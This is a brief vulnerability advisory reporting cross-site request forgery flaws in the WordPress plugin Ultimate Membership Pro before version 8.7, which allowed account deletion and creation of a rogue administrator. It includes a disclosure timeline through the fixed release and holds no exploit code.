WordPress Plugin Vulnerabilities

Ultimate Membership Pro < 8.7 - Cross-Site Request Forgery allowing Arbitrary Account Deletion and Creation

Description

While confirming the issues from https://wpvulndb.com/vulnerabilities/10086 have been remediated, two CSRF issues were identified, allowing attackers to make logged in administrator delete arbitrary accounts, as well as create a new administrator account. Other CSRF may be present but haven't been checked.


February 17th, 2020 - Envato Notified
February 22nd, 2020 - New version released (8.7), fixing the reported issues, as well as putting CSRF checks on all other actions as per recommendations.
